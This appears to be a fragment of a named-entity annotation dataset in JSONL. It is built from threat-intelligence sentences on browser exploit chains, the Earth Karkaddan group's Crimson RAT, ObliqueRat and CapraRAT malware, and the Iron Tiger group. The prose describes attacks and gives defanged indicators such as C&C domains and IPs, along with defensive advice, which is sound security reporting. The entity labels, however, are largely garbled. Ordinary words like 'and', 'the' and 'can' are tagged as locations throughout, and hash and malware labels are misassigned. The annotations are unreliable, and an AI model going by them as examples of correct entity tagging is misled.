engine.","entities":[{"id":21650,"label":"location","start_offset":32,"end_offset":35},{"id":21651,"label":"location","start_offset":65,"end_offset":68},{"id":21652,"label":"location","start_offset":69,"end_offset":72},{"id":21653,"label":"location","start_offset":180,"end_offset":183},{"id":21654,"label":"location","start_offset":198,"end_offset":201},{"id":21655,"label":"location","start_offset":283,"end_offset":286}],"relations":[],"Comments":[]} -{"id":6921,"text":"In most Internet Explorer exploits, attackers abused the Enumerator object in order to gain remote code execution.","entities":[{"id":21656,"label":"location","start_offset":3,"end_offset":7},{"id":21657,"label":"location","start_offset":92,"end_offset":98}],"relations":[],"Comments":[]} -{"id":6922,"text":"To escape from the Internet Explorer EPM sandbox, exploits used a technique consisting of replaying the same vulnerability inside svchost by abusing Web Proxy Auto-Discovery (WPad) Service.","entities":[{"id":21658,"label":"location","start_offset":104,"end_offset":108},{"id":21659,"label":"location","start_offset":159,"end_offset":163}],"relations":[],"Comments":[]} -{"id":6923,"text":"Attackers abused this technique with CVE-2020-0674 on Firefox to escape the sandbox after exploiting CVE-2019-17026.","entities":[{"id":21660,"label":"location","start_offset":110,"end_offset":115}],"relations":[],"Comments":[]} -{"id":6924,"text":"CVE-2019-0676 is a variant of CVE-2017-0022, CVE-2016-3298, CVE-2016-0162 and CVE-2016-3351 where the vulnerability resided inside the handling of “res:\/\/” URI scheme.","entities":[{"id":21661,"label":"location","start_offset":74,"end_offset":77},{"id":21662,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]} {"id":6925,"text":"Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim’s computer; this information was later used to decide whether or not a second stage exploit should be delivered.","entities":[],"relations":[],"Comments":[]} {"id":6926,"text":"The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.","entities":[{"id":21664,"label":"tools","start_offset":11,"end_offset":17},{"id":21666,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]} -{"id":6927,"text":"Our Threat Analyst Group will continue to identify bad actors and share relevant information with others in the industry.","entities":[{"id":21667,"label":"location","start_offset":25,"end_offset":29},{"id":21668,"label":"location","start_offset":62,"end_offset":65},{"id":21669,"label":"location","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]} -{"id":6928,"text":"Our goal is to bring awareness to these issues to protect you and fight bad actors to prevent future attacks.","entities":[{"id":21670,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} -{"id":6929,"text":"In a future update, we’ll provide details on attackers using lures related to COVID-19 and expected behavior we’re observing (all within the normal range of attacker activity).","entities":[{"id":21671,"label":"location","start_offset":87,"end_offset":90},{"id":21672,"label":"location","start_offset":141,"end_offset":147},{"id":21673,"label":"location","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]} -{"id":6930,"text":"APT36, also known as Earth Karkaddan, a politically motivated advanced persistent threat (APT) group, has historically targeted Indian military and diplomatic resources.","entities":[{"id":21676,"label":"location","start_offset":90,"end_offset":93},{"id":21678,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]} {"id":6931,"text":"This APT group (also referred to as Operation C-Major, PROJECTM, Mythic Leopard, and Transparent Tribe) has been known to use social engineering and phishing lures as an entry point, after which, it deploys the Crimson RAT malware to steal information from its victims.","entities":[{"id":21681,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":21683,"label":"location","start_offset":81,"end_offset":84},{"id":21685,"label":"location","start_offset":145,"end_offset":148},{"id":21686,"label":"attack-pattern","start_offset":149,"end_offset":157},{"id":21687,"label":"location","start_offset":176,"end_offset":181}],"relations":[],"Comments":[]} {"id":6932,"text":"In late 2021, we saw the group leverage CapraRAT, an Android RAT with clear similarities in design to the group’s favored Windows malware, Crimson RAT.","entities":[{"id":21690,"label":"malware","start_offset":31,"end_offset":39},{"id":21692,"label":"malware","start_offset":53,"end_offset":64},{"id":21693,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]} -{"id":6933,"text":"It is interesting to see the degree of crossover in terms of function names, commands, and capabilities between the tools, which we cover in more detail in our technical brief, “Earth Karkaddan APT.”","entities":[{"id":21695,"label":"location","start_offset":87,"end_offset":90},{"id":21696,"label":"location","start_offset":104,"end_offset":111}],"relations":[],"Comments":[]} -{"id":6934,"text":"Our investigation is based on Trend Micro Smart Protection Network (SPN) data gathered from January 2020 to September 2021.","entities":[{"id":21699,"label":"location","start_offset":48,"end_offset":58}],"relations":[],"Comments":[]} {"id":6935,"text":"Looking into one of Earth Karkaddan’s recent campaigns Typically, Earth Karkaddan’s arrival methods include the use of spear-phishing emails and a USB worm that would then drop and execute a remote access trojan (RAT). Figure 1. Earth Karkaddan’s attack chain ","entities":[{"id":21704,"label":"location","start_offset":119,"end_offset":124},{"id":21705,"label":"attack-pattern","start_offset":125,"end_offset":133},{"id":21706,"label":"location","start_offset":141,"end_offset":144},{"id":21707,"label":"location","start_offset":177,"end_offset":180},{"id":21708,"label":"location","start_offset":191,"end_offset":197},{"id":21710,"label":"location","start_offset":234,"end_offset":239}],"relations":[],"Comments":[]} -{"id":6936,"text":"The malicious emails feature a variety of lures to deceive victims into downloading malware, including fraudulent government documents, honeytraps showing profiles of attractive women, and recently, coronavirus-themed information. Figure 2. An example","entities":[{"id":21711,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]} {"id":6937,"text":"of a fake government-related spear-phishing email","entities":[{"id":21713,"label":"location","start_offset":29,"end_offset":34},{"id":21714,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]} {"id":6938,"text":" Figure 3. An example of a coronavirus-related spear-phishing email attachment Once the victim downloads the malicious macro, it will decrypt an embedded executable dropper that is hidden inside a text box, which will then be saved to a hardcoded path prior to it executing in the machine. Figure 4. Malicious macro that decrypts an executable hidden inside a text box Figure 5. Examples of encrypted Crimson RAT executables hidden inside text boxes Once the executable file is executed, it will proceed to unzip a file named mdkhm.zip and then execute a Crimson RAT executable named dlrarhsiva.exe.","entities":[{"id":21716,"label":"location","start_offset":52,"end_offset":57},{"id":21717,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":21718,"label":"location","start_offset":138,"end_offset":142},{"id":21719,"label":"location","start_offset":222,"end_offset":226},{"id":21722,"label":"malware","start_offset":420,"end_offset":431},{"id":21723,"label":"location","start_offset":514,"end_offset":518},{"id":21724,"label":"location","start_offset":559,"end_offset":562},{"id":21725,"label":"malware","start_offset":578,"end_offset":589}],"relations":[],"Comments":[]} {"id":6939,"text":" Figure 6.","entities":[],"relations":[],"Comments":[]} {"id":6940,"text":"The dlrarhsiva.exe Crimson RAT executable ","entities":[{"id":21727,"label":"malware","start_offset":19,"end_offset":30}],"relations":[],"Comments":[]} {"id":6941,"text":"Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data.","entities":[{"id":21728,"label":"location","start_offset":0,"end_offset":5},{"id":21729,"label":"location","start_offset":23,"end_offset":26},{"id":21730,"label":"malware","start_offset":44,"end_offset":55},{"id":21731,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} {"id":6942,"text":"Our analysis shows that the Crimson RAT malware is compiled as a .NET binary with minimal obfuscation.","entities":[{"id":21732,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]} -{"id":6943,"text":"This could indicate that the cybercriminal group behind this campaign is possibly not well-funded.","entities":[{"id":21733,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]} {"id":6944,"text":" Figure 7.","entities":[],"relations":[],"Comments":[]} {"id":6945,"text":"A list of minimally obfuscated commands, function names, and variables from a Crimson RAT malware sample Crimson RAT can steal credentials from browsers, collect antivirus information, capture screenshots, and list victim drives, processes, and directories.","entities":[{"id":21735,"label":"location","start_offset":2,"end_offset":6},{"id":21736,"label":"location","start_offset":57,"end_offset":60},{"id":21737,"label":"malware","start_offset":78,"end_offset":89},{"id":21738,"label":"location","start_offset":98,"end_offset":104},{"id":21739,"label":"malware","start_offset":109,"end_offset":120},{"id":21740,"label":"location","start_offset":121,"end_offset":124},{"id":21741,"label":"location","start_offset":210,"end_offset":213},{"id":21742,"label":"location","start_offset":214,"end_offset":218},{"id":21743,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]} -{"id":6946,"text":"We have observed how an infected host communicates with a Crimson RAT C&C server to send exfiltrated information including PC name, operating system (OS) information, and the location of the Crimson RAT malware inside the system.","entities":[{"id":21744,"label":"location","start_offset":33,"end_offset":37},{"id":21746,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} {"id":6947,"text":" Figure 8.","entities":[],"relations":[],"Comments":[]} {"id":6948,"text":"Network traffic from a Crimson RAT malware sample ObliqueRat Malware Analysis ","entities":[{"id":21749,"label":"malware","start_offset":23,"end_offset":34},{"id":21750,"label":"location","start_offset":43,"end_offset":49},{"id":21751,"label":"malware","start_offset":54,"end_offset":64}],"relations":[],"Comments":[]} {"id":6949,"text":"Aside from the Crimson RAT malware, the Earth Karkaddan APT group is also known to use the ObliqueRat malware in its campaigns.","entities":[{"id":21753,"label":"location","start_offset":40,"end_offset":45},{"id":21754,"label":"location","start_offset":56,"end_offset":59},{"id":21755,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]} {"id":6950,"text":"This malware is also commonly distributed in spear-phishing campaigns using social engineering tactics to lure victims into downloading another malicious document.","entities":[{"id":21756,"label":"location","start_offset":45,"end_offset":50},{"id":21757,"label":"attack-pattern","start_offset":51,"end_offset":59},{"id":21758,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]} -{"id":6951,"text":"In one of its most recent campaigns, the lure used was that of the Centre for Land Warfare Studies (CLAWS) in New Delhi, India.","entities":[{"id":21760,"label":"location","start_offset":14,"end_offset":18},{"id":21761,"label":"location","start_offset":41,"end_offset":45}],"relations":[],"Comments":[]} {"id":6952,"text":" Figure 9.","entities":[],"relations":[],"Comments":[]} {"id":6953,"text":"Initial spear-phishing document with a link to another malicious document Once the victim clicks the link, it will download a document laced with a malicious macro.","entities":[{"id":21767,"label":"location","start_offset":8,"end_offset":13},{"id":21768,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":21769,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]} {"id":6954,"text":"Upon enabling the macro, it will then download the ObliqueRat malware that is hidden inside an image file.","entities":[{"id":21770,"label":"location","start_offset":28,"end_offset":32},{"id":21771,"label":"tools","start_offset":51,"end_offset":61}],"relations":[],"Comments":[]} @@ -4038,13 +5186,8 @@ {"id":6958,"text":"Malicious macro codes will download, decode, and execute the ObliqueRat malware Figure 12 shows a summary of the ObliqueRat malware’s infection chain: Figure 12.","entities":[{"id":21782,"label":"location","start_offset":22,"end_offset":26},{"id":21783,"label":"location","start_offset":45,"end_offset":48},{"id":21784,"label":"malware","start_offset":61,"end_offset":71},{"id":21786,"label":"tools","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]} {"id":6959,"text":"ObliqueRat attack chain ","entities":[{"id":21788,"label":"malware","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]} {"id":6960,"text":"Below is a list of backdoor commands that this particular ObliqueRAT malware variant can perform: Command (v5.2) Info 0 System information ","entities":[{"id":21789,"label":"location","start_offset":11,"end_offset":15},{"id":21790,"label":"malware","start_offset":58,"end_offset":68},{"id":21791,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]} -{"id":6961,"text":"1 List drive and drive type ","entities":[{"id":21792,"label":"location","start_offset":3,"end_offset":7},{"id":21793,"label":"location","start_offset":14,"end_offset":17},{"id":21794,"label":"location","start_offset":24,"end_offset":28}],"relations":[],"Comments":[]} -{"id":6962,"text":"3 Find certain files and file sizes 4 Send back zip files (specified filename) 4A\/4E Send back zip files 5 Find certain files and file sizes ","entities":[{"id":21795,"label":"location","start_offset":22,"end_offset":25},{"id":21796,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]} -{"id":6963,"text":"Zip certain folder, send back to C&C, then delete it 7 Execute commands 8 Receive file from C&C BACKED Back up the file lgb RNM Rename file TSK List running processes EXIT Stop execution RESTART Restart connection to C&C ","entities":[{"id":21797,"label":"location","start_offset":154,"end_offset":158},{"id":21798,"label":"location","start_offset":184,"end_offset":188}],"relations":[],"Comments":[]} -{"id":6964,"text":"KILL Kill certain processes AUTO ","entities":[{"id":21799,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]} {"id":6965,"text":"Find certain files RHT Delete files ","entities":[],"relations":[],"Comments":[]} {"id":6966,"text":"Note that in this specific campaign, both the Crimson RAT malware downloader document and the ObliqueRat malware downloader share the same download domain, which is sharingmymedia[.]com.","entities":[{"id":21800,"label":"location","start_offset":27,"end_offset":35},{"id":21801,"label":"malware","start_offset":46,"end_offset":57},{"id":21802,"label":"location","start_offset":86,"end_offset":89},{"id":21803,"label":"tools","start_offset":94,"end_offset":104},{"id":21804,"label":"location","start_offset":134,"end_offset":138}],"relations":[],"Comments":[]} -{"id":6967,"text":"This indicates that both malware types were actively used in Earth Karkaddan APT campaigns.","entities":[{"id":21806,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]} {"id":6968,"text":" Figure 13.","entities":[],"relations":[],"Comments":[]} {"id":6969,"text":"Crimson RAT and ObliqueRat spear-phishing email attachments that feature the same download domain CapraRAT, One of Earth Karkaddan’s custom Android RAT","entities":[{"id":21808,"label":"malware","start_offset":0,"end_offset":11},{"id":21809,"label":"location","start_offset":12,"end_offset":15},{"id":21810,"label":"malware","start_offset":16,"end_offset":26},{"id":21811,"label":"location","start_offset":27,"end_offset":32},{"id":21812,"label":"attack-pattern","start_offset":33,"end_offset":41},{"id":21813,"label":"location","start_offset":77,"end_offset":81},{"id":21814,"label":"malware","start_offset":102,"end_offset":110},{"id":21815,"label":"location","start_offset":112,"end_offset":115},{"id":21816,"label":"location","start_offset":119,"end_offset":124},{"id":21817,"label":"malware","start_offset":144,"end_offset":155}],"relations":[],"Comments":[]} {"id":6970,"text":"Aside from using spear-phishing emails and a USB worm as arrival vectors, Earth Karkaddan also uses Android RATs that could be deployed by means of malicious phishing links.","entities":[{"id":21818,"label":"location","start_offset":17,"end_offset":22},{"id":21819,"label":"attack-pattern","start_offset":23,"end_offset":31},{"id":21820,"label":"location","start_offset":39,"end_offset":42},{"id":21821,"label":"location","start_offset":74,"end_offset":79},{"id":21822,"label":"location","start_offset":139,"end_offset":144},{"id":21823,"label":"attack-pattern","start_offset":158,"end_offset":166}],"relations":[],"Comments":[]} @@ -4054,17 +5197,9 @@ {"id":6974,"text":"While analyzing this android RAT, we saw several similar capabilities to the CrimsonRat malware that the group usually uses to infect Windows systems.","entities":[{"id":21846,"label":"malware","start_offset":21,"end_offset":32}],"relations":[],"Comments":[]} {"id":6975,"text":"We have been observing CapraRAT samples since 2017, and one of the first samples we analyzed (SHA-256: d9979a41027fe790399edebe5ef8765f61e1eb1a4ee1d11690b4c2a0aa38ae42, detected by Trend Micro as as AndroidOS_Androrat.HRXD)","entities":[{"id":21848,"label":"malware","start_offset":23,"end_offset":31},{"id":21850,"label":"location","start_offset":53,"end_offset":56},{"id":21853,"label":"SHA2","start_offset":104,"end_offset":168}],"relations":[],"Comments":[]} {"id":6976,"text":"revealed some interesting things in that year: they used \"com.example.appcode.appcode\" as the APK package name and used a possible public certificate “74bd7b456d9e651fc84446f65041bef1207c408d,” which possibly meant the sample was used for testing, and they just started to use it for their campaigns during that year.","entities":[{"id":21856,"label":"location","start_offset":111,"end_offset":114},{"id":21857,"label":"location","start_offset":131,"end_offset":137},{"id":21858,"label":"MD5","start_offset":151,"end_offset":191},{"id":21859,"label":"location","start_offset":219,"end_offset":225},{"id":21860,"label":"location","start_offset":248,"end_offset":251},{"id":21861,"label":"identity","start_offset":257,"end_offset":261}],"relations":[],"Comments":[]} -{"id":6977,"text":"The C&C domain android[.]viral91[.]xyz, where the malware was connecting to also shows that it is very likely that the APT team uses subdomains to host or connect to Android malware.","entities":[{"id":21863,"label":"location","start_offset":103,"end_offset":109},{"id":21864,"label":"location","start_offset":119,"end_offset":122},{"id":21865,"label":"location","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]} {"id":6978,"text":"In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.]xyz domain.","entities":[],"relations":[],"Comments":[]} {"id":6979,"text":" Figure 14. CrimsonRAT malware hosted in viral91[.]xyz We were also able to source a phishing document, “csd_car_price_list_2017,” that is related to this domain and has been seen in the wild in 2017.","entities":[{"id":21868,"label":"attack-pattern","start_offset":84,"end_offset":90},{"id":21869,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21870,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]} -{"id":6980,"text":"This file name is interesting as “csd” is likely to be associated to \"Canteen Stores Department\" in Pakistan, which is operated by the Pakistani Ministry of Defence.","entities":[{"id":21872,"label":"location","start_offset":42,"end_offset":48},{"id":21874,"label":"location","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]} -{"id":6981,"text":"This is a possible lure for the Indian targets to open the malicious attachment, also used in a similar attack in 2021.","entities":[{"id":21875,"label":"location","start_offset":19,"end_offset":23},{"id":21877,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]} -{"id":6982,"text":"Upon downloading this malicious app that possibly arrived via a malicious link, the user will need to grant permissions upon installation to allow the RAT access to stored information.","entities":[{"id":21878,"label":"location","start_offset":89,"end_offset":93},{"id":21879,"label":"location","start_offset":102,"end_offset":107}],"relations":[],"Comments":[]} -{"id":6983,"text":"The malware can do the following on a compromised device: Access the phone number Launch other apps’ installation packages Open the camera","entities":[{"id":21880,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]} -{"id":6984,"text":"Access the microphone and record audio clips","entities":[{"id":21881,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]} {"id":6985,"text":"Access the unique identification number Access location information","entities":[],"relations":[],"Comments":[]} -{"id":6986,"text":"Access phone call history","entities":[{"id":21882,"label":"location","start_offset":13,"end_offset":17}],"relations":[],"Comments":[]} -{"id":6987,"text":"Access contact information","entities":[{"id":21883,"label":"location","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]} {"id":6988,"text":" Once the Android RAT is executed, it will attempt to establish a connection to its C&C server, 209[.]127[.]19[.]241[:]10284.","entities":[{"id":21884,"label":"malware","start_offset":10,"end_offset":21},{"id":21885,"label":"location","start_offset":38,"end_offset":42}],"relations":[],"Comments":[]} {"id":6989,"text":"We have observed that the Remote Desktop Protocol (RDP) certificate associated in this deployment, “WIN-P9NRMH5G6M8,” is a common string found in previously identified Earth Karkaddan C&C servers.","entities":[{"id":21886,"label":"attack-pattern","start_offset":26,"end_offset":49},{"id":21887,"label":"malware","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]} {"id":6990,"text":" Figure 15. Decompiled code from CapraRAT connecting to its C&C server Figure 16. CapraRAT config showing its C&C server and port information Figure 17.","entities":[{"id":21892,"label":"malware","start_offset":91,"end_offset":99},{"id":21893,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} @@ -4073,148 +5208,73 @@ {"id":6993,"text":"It checks whether the service is still running every minute, and if it is not, the service will be launched again.","entities":[{"id":21898,"label":"TIME","start_offset":47,"end_offset":59},{"id":21899,"label":"location","start_offset":61,"end_offset":64},{"id":21900,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]} {"id":6994,"text":" Figure 19.","entities":[],"relations":[],"Comments":[]} {"id":6995,"text":"CapraRAT’s persistence mechanism Reducing risks:","entities":[{"id":21902,"label":"malware","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]} -{"id":6996,"text":"How to defend against APT attacks Earth Karkaddan has been stealing information since 2016 by means of creative social engineering lures and file-stealing malware.","entities":[{"id":21903,"label":"location","start_offset":22,"end_offset":25},{"id":21906,"label":"location","start_offset":94,"end_offset":99},{"id":21907,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":6997,"text":"Users can adopt the following security best practices to thwart Earth Karkaddan attacks: ","entities":[{"id":21908,"label":"location","start_offset":6,"end_offset":9},{"id":21909,"label":"location","start_offset":30,"end_offset":38},{"id":21910,"label":"location","start_offset":39,"end_offset":43}],"relations":[],"Comments":[]} -{"id":6998,"text":"Be careful of opening unsolicited and unexpected emails, especially those that call for urgency Watch out for malicious email red flags, which include atypical sender domains and grammatical and spelling lapses","entities":[{"id":21912,"label":"location","start_offset":34,"end_offset":37},{"id":21913,"label":"location","start_offset":79,"end_offset":83},{"id":21914,"label":"location","start_offset":175,"end_offset":178},{"id":21915,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]} -{"id":6999,"text":"Avoid clicking on links or downloading attachments in emails, especially from unknown sources Block threats that arrive via email such as malicious links using hosted email security and antispam protection","entities":[{"id":21916,"label":"location","start_offset":173,"end_offset":181},{"id":21917,"label":"location","start_offset":182,"end_offset":185},{"id":21918,"label":"location","start_offset":195,"end_offset":205}],"relations":[],"Comments":[]} -{"id":7000,"text":"Download apps only from trusted sources","entities":[{"id":21919,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]} {"id":7001,"text":"Be wary of the scope of app permissions","entities":[],"relations":[],"Comments":[]} -{"id":7002,"text":"Get multilayered mobile security solutions that can protect devices against online threats, malicious applications, and even data loss ","entities":[{"id":21920,"label":"location","start_offset":17,"end_offset":23},{"id":21921,"label":"location","start_offset":24,"end_offset":32},{"id":21922,"label":"location","start_offset":48,"end_offset":51},{"id":21923,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]} -{"id":7003,"text":"The following security solutions can also protect users from email-based attacks: Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.","entities":[{"id":21924,"label":"location","start_offset":14,"end_offset":22},{"id":21925,"label":"location","start_offset":33,"end_offset":36},{"id":21926,"label":"location","start_offset":89,"end_offset":94},{"id":21927,"label":"location","start_offset":96,"end_offset":101},{"id":21928,"label":"location","start_offset":106,"end_offset":114},{"id":21929,"label":"location","start_offset":130,"end_offset":138},{"id":21932,"label":"location","start_offset":163,"end_offset":166},{"id":21933,"label":"location","start_offset":173,"end_offset":178},{"id":21934,"label":"location","start_offset":208,"end_offset":211},{"id":21935,"label":"location","start_offset":212,"end_offset":216},{"id":21936,"label":"location","start_offset":217,"end_offset":221}],"relations":[],"Comments":[]} {"id":7004,"text":"It also protects organizations from email-based threats.","entities":[],"relations":[],"Comments":[]} -{"id":7005,"text":"Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.","entities":[{"id":21937,"label":"location","start_offset":6,"end_offset":11},{"id":21938,"label":"location","start_offset":86,"end_offset":90},{"id":21939,"label":"location","start_offset":91,"end_offset":95},{"id":21940,"label":"location","start_offset":105,"end_offset":108},{"id":21941,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]} -{"id":7006,"text":"Trend Micro™ Mobile Security for Enterprise suite – Provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps and detects and blocks malware and fraudulent websites.","entities":[{"id":21942,"label":"location","start_offset":6,"end_offset":11},{"id":21943,"label":"location","start_offset":13,"end_offset":19},{"id":21944,"label":"location","start_offset":20,"end_offset":28},{"id":21945,"label":"location","start_offset":33,"end_offset":43},{"id":21946,"label":"location","start_offset":80,"end_offset":83},{"id":21947,"label":"location","start_offset":113,"end_offset":123},{"id":21948,"label":"location","start_offset":125,"end_offset":128},{"id":21949,"label":"location","start_offset":265,"end_offset":268},{"id":21950,"label":"location","start_offset":277,"end_offset":280},{"id":21951,"label":"location","start_offset":296,"end_offset":299}],"relations":[],"Comments":[]} -{"id":7007,"text":"Trend Micro’s Mobile App Reputation Service (MARS) – Covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.","entities":[{"id":21953,"label":"location","start_offset":14,"end_offset":20},{"id":21954,"label":"location","start_offset":45,"end_offset":49},{"id":21955,"label":"location","start_offset":68,"end_offset":71},{"id":21956,"label":"location","start_offset":106,"end_offset":109},{"id":21958,"label":"location","start_offset":183,"end_offset":186},{"id":21959,"label":"location","start_offset":218,"end_offset":221}],"relations":[],"Comments":[]} {"id":7008,"text":"Indicators of Compromise","entities":[],"relations":[],"Comments":[]} -{"id":7009,"text":"A list of indicators can be found in this text file.","entities":[{"id":21960,"label":"location","start_offset":2,"end_offset":6},{"id":21961,"label":"location","start_offset":21,"end_offset":24}],"relations":[],"Comments":[]} -{"id":7010,"text":" Tags APT & Targeted Attacks | Articles, News, Reports","entities":[{"id":21962,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]} {"id":7011,"text":"Update as of April 27, 2021, 7 A.M. E.T.:","entities":[{"id":21964,"label":"TIME","start_offset":29,"end_offset":40}],"relations":[],"Comments":[]} -{"id":7012,"text":"We've updated the \"Rootkits From a Public Repository\" section and the appendix to include a second sample.","entities":[{"id":21966,"label":"location","start_offset":54,"end_offset":61},{"id":21967,"label":"location","start_offset":62,"end_offset":65},{"id":21969,"label":"location","start_offset":99,"end_offset":105}],"relations":[],"Comments":[]} -{"id":7013,"text":"More than a year after Operation DRBControl, a campaign by a cyberespionage group that targets gambling and betting companies in Southeast Asia, we found evidence that the Iron Tiger threat actor is still interested in the gambling industry.","entities":[{"id":21972,"label":"location","start_offset":47,"end_offset":55},{"id":21973,"label":"location","start_offset":104,"end_offset":107},{"id":21976,"label":"location","start_offset":232,"end_offset":240}],"relations":[],"Comments":[]} {"id":7014,"text":"This blog details how Iron Tiger threat actors have updated their toolkit with an updated SysUpdate malware variant that now uses five files in its infection routine instead of the usual three.","entities":[],"relations":[],"Comments":[]} -{"id":7015,"text":"We also provide details on Iron Tiger’s possible connections to other threat actors based on similar tactics, techniques, and procedures (TTPs) we’ve observed.","entities":[{"id":21982,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":7016,"text":" Finally, we describe some of the rootkits that Iron Tiger is using, one of which is used to hide files at the kernel level, and has not been previously reported as being used by this threat actor.","entities":[{"id":21985,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]} {"id":7017,"text":"A Look at the Iron Tiger Threat Group","entities":[{"id":21986,"label":"threat-actor","start_offset":14,"end_offset":24}],"relations":[],"Comments":[]} -{"id":7018,"text":"In 2019, Talent-Jump, Inc., a security service and system integration company, discovered several malware variants in a gambling company during an incident response operation and sought our help for further investigation and analysis.","entities":[{"id":21989,"label":"location","start_offset":30,"end_offset":38},{"id":21990,"label":"location","start_offset":47,"end_offset":50},{"id":21991,"label":"location","start_offset":175,"end_offset":178},{"id":21992,"label":"location","start_offset":221,"end_offset":224}],"relations":[],"Comments":[]} {"id":7019,"text":"In 2020 and 2021, Talent-Jump found new samples for malware families that are attributed to the Iron Tiger threat actor, which is also referred to as LuckyMouse, EmissaryPanda, and APT27.","entities":[{"id":21994,"label":"location","start_offset":8,"end_offset":11},{"id":21997,"label":"location","start_offset":74,"end_offset":77},{"id":22000,"label":"location","start_offset":177,"end_offset":180},{"id":22001,"label":"threat-actor","start_offset":181,"end_offset":186}],"relations":[],"Comments":[]} {"id":7020,"text":"While investigating Operation DRBControl in 2019, we found several connections to multiple threat actors: Iron Tiger, which uses the HyperBro trojan and some infrastructure links Winnti, which uses the same infrastructure and code-sharing links detailed in our paper Bronze President, a threat actor that targets non-governmental organizations (NGOs). ","entities":[{"id":22004,"label":"threat-actor","start_offset":107,"end_offset":117},{"id":22005,"label":"malware","start_offset":134,"end_offset":142},{"id":22006,"label":"location","start_offset":150,"end_offset":153},{"id":22007,"label":"malware","start_offset":180,"end_offset":186},{"id":22008,"label":"location","start_offset":203,"end_offset":207},{"id":22009,"label":"location","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]} -{"id":7021,"text":"Back in 2019, we named a malware family, which we believed was new, as “Type 2.” ","entities":[{"id":22012,"label":"location","start_offset":72,"end_offset":76}],"relations":[],"Comments":[]} {"id":7022,"text":"However, after the publication of our report, we learned that the Type 2 malware family described in our report was the same as the “RCSession” malware family that Dell Secureworks described in a blog that they published in December 2019.","entities":[{"id":22013,"label":"location","start_offset":49,"end_offset":56},{"id":22014,"label":"location","start_offset":66,"end_offset":70},{"id":22015,"label":"location","start_offset":120,"end_offset":124},{"id":22016,"label":"tools","start_offset":133,"end_offset":142}],"relations":[],"Comments":[]} {"id":7023,"text":"After finding multiple tools belonging to the Iron Tiger threat actor (which we now track as Earth Smilodon), it is likely that the new malware families that we found during the Operation DRBControl investigation came from the same threat actor.","entities":[{"id":22019,"label":"threat-actor","start_offset":46,"end_offset":56},{"id":22020,"label":"threat-actor","start_offset":93,"end_offset":107},{"id":22021,"label":"location","start_offset":116,"end_offset":122},{"id":22023,"label":"location","start_offset":227,"end_offset":231}],"relations":[],"Comments":[]} {"id":7024,"text":"New Version of SysUpdate Malware Figure 1.","entities":[{"id":22024,"label":"malware","start_offset":15,"end_offset":24}],"relations":[],"Comments":[]} {"id":7025,"text":"The old and new SysUpdate infection chains In December 2020, we found a sample that we identified as one belonging to the SysUpdate malware family, also named Soldier, FOCUSFJORD, and 